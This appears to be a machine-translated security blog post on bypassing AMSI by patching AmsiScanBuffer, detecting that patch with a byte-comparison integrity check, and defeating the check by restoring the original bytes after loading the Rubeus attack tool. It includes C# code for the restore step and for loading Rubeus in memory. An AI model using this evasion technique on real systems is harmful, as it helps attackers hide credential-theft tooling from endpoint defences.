当前位置:网站首页>Bypass memory integrity check
Bypass memory integrity check
2022-06-23 20:44:00 【Khan security team】
The process involves :
- Find... In memory AmsiScanBuffer The location of .
- Change the memory permissions to RWX.
- Copy the patched bytes .
- Restore the memory area back to RX.
After this happened , This process does not seem to make any difference to the casual observer . Because we only changed about of the possible hundreds of thousands of bytes in the address space 6 Bytes , So how likely is it to be seen ?
Execute user mode DLL Injected defensive products ( for example EDR) Integrity checks can be performed on sensitive parts of the module code . therefore , If something has changed and is not captured at the time ( Maybe by using syscalls), Can be detected afterwards ( Suppose the process still exists ) And then send an alarm .
This depends in part on the relevance of aggressive tools . for example ,Cobalt Strike Of Beacon Many of them post-ex Command to use fork and run Pattern . It will generate a temporary process , Inject... Into it post-ex function , Get results through named pipes , Then terminate the process . If it's time to post-ex Function execution such as patching AmsiScanBuffer Something like that , It may not exist long enough to really worry about integrity checking .Covenant Of Grunt And other tools will perform all operations within it —— So as long as the implant is alive , These changes to its memory will persist .
Consider the following :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}Bypassing allows us to load Rubeus And do whatever we want . All good. .
however , If we are right in the process AmsiScanBuffer Perform integrity checks , We can infer that it has indeed been tampered with .
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer tamper detected!
conceptually , Its operation is very simple :
- Load from disk amsi.dll.
- find AmsiScanBuffer And before reading 10 Bytes .
- Found... In the target process AmsiScanBuffer And before reading 10 Bytes .
- Compare two byte arrays .
If the array does not match , The function is already in the memory of the process ( Or an unlikely file ) A change has taken place .
From a defensive point of view , This method has some obvious disadvantages —— We only check AmsiScanBuffer Without checking other exported functions ; And only the front of the function 10 Bytes . However , According to my experience , Most people only copy / Paste the bypass they found on the Internet * Cough *, So this is a good simple fruit .
If we want to improve bypass , We can copy the original AmsiScanBuffer byte , Then recover the malicious content we want after we execute it .
It might look like this :
public void Execute()
{
// Load amsi.dll and get location of AmsiScanBuffer
var lib = LoadLibrary("amsi.dll");
_asbLocation = GetProcAddress(lib, "AmsiScanBuffer");
var patch = GetPatch;
// Take a backup of AmsiScanBuffer bytes
_backup = new byte[patch.Length];
Marshal.Copy(_asbLocation, _backup, 0, patch.Length);
// Set region to RWX
// Copy patch
// Restore region to RX
}Then implement a program that copies back the original bytes recovery Method :
public void Restore()
{
// Set region to RWX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);
// Copy bytes back
Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);
// Restore region to RX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}And then in our malicious applications :
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
// Restore AMSI
amsi.Restore();
}PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516 ======================== AmsiScanBuffer Checker ======================== Target Process: MaliciousApp AmsiScanBuffer: 0x7FFE26AA0000 AmsiScanBuffer is fine ¯\_(ツ)_/¯
Rubeus Still perform as expected , But when running on a process “ Check ” when , No tampering was found . This integrity checking method may only be effective if it happens to run within a narrow time frame between performing a bypass and recovering bytes .
边栏推荐
- 20 provinces and cities announce the road map of the meta universe
- 国元期货交易软件正规吗?如何安全下载?
- 【Golang】快速复习指南QuickReview(三)——map
- Open source SPL redefines OLAP server
- ZABBIX monitoring - Aruba AP operation data
- Command line add user set password never expires add remote group add administrator group
- Process injection
- What is the difference between a database and a cloud disk drive? What functions can cloud disk drives achieve?
- Use of paging components in fusiondesign
- 【Golang】快速复习指南QuickReview(十)——goroutine池
猜你喜欢

重庆 奉节耀奎塔,建成后当地连中五名进士,是川江航运的安全塔

Crise de 35 ans? Le volume intérieur est devenu synonyme de programmeur...

Daily question brushing record (II)

GL Studio 5 安装与体验

Ugeek's theory 𞓜 application and design of observable hyperfusion storage system

Add two factor authentication, not afraid of password disclosure, let alone 123456

Leaders of Hangcheng street, Bao'an District and their delegation visited lianchengfa for investigation

SQL联合查询(内联、左联、右联、全联)的语法

Zabbix监控- Aruba AP运行数据

Yaokui tower in Fengjie, Chongqing, after its completion, will be the safety tower for Sichuan river shipping with five local scholars in the company
随机推荐
String Day6 of Li Kou daily practice
数字化采购转型解决方案:SaaS采购管理平台推进企业阳光采购
Do you need a server to set up cloud on demand? What services can cloud on demand provide?
手续费佣金低的券商,华泰证券网上开户安全吗
Daily question brushing record (II)
How to build Tencent cloud game server? Differences between cloud game platforms and ordinary games
JS five methods to judge whether a certain value exists in an array
Deep learning of handlebar handwriting (15): building your own corpus on hugging face
20 provinces and cities announce the road map of the meta universe
How to build a cloud game platform? Disadvantages of traditional games
[golang] quick review guide quickreview (VIII) -- goroutine
How do I view the server when I log in to the fortress machine? Operation guide for novice
【Golang】在Go语言的角度重新审视闭包
[golang] use go language to operate etcd - configuration center
[golang] some questions to strengthen slice
How to open a domestic futures account? Which futures company is safer to open an account?
教你如何用网页开发桌面应用
Technology sharing | wvp+zlmediakit realizes streaming playback of camera gb28181
Interview with Mo Tianlun | ivorysql wangzhibin - ivorysql, an Oracle compatible open source database based on PostgreSQL
Use of paging components in fusiondesign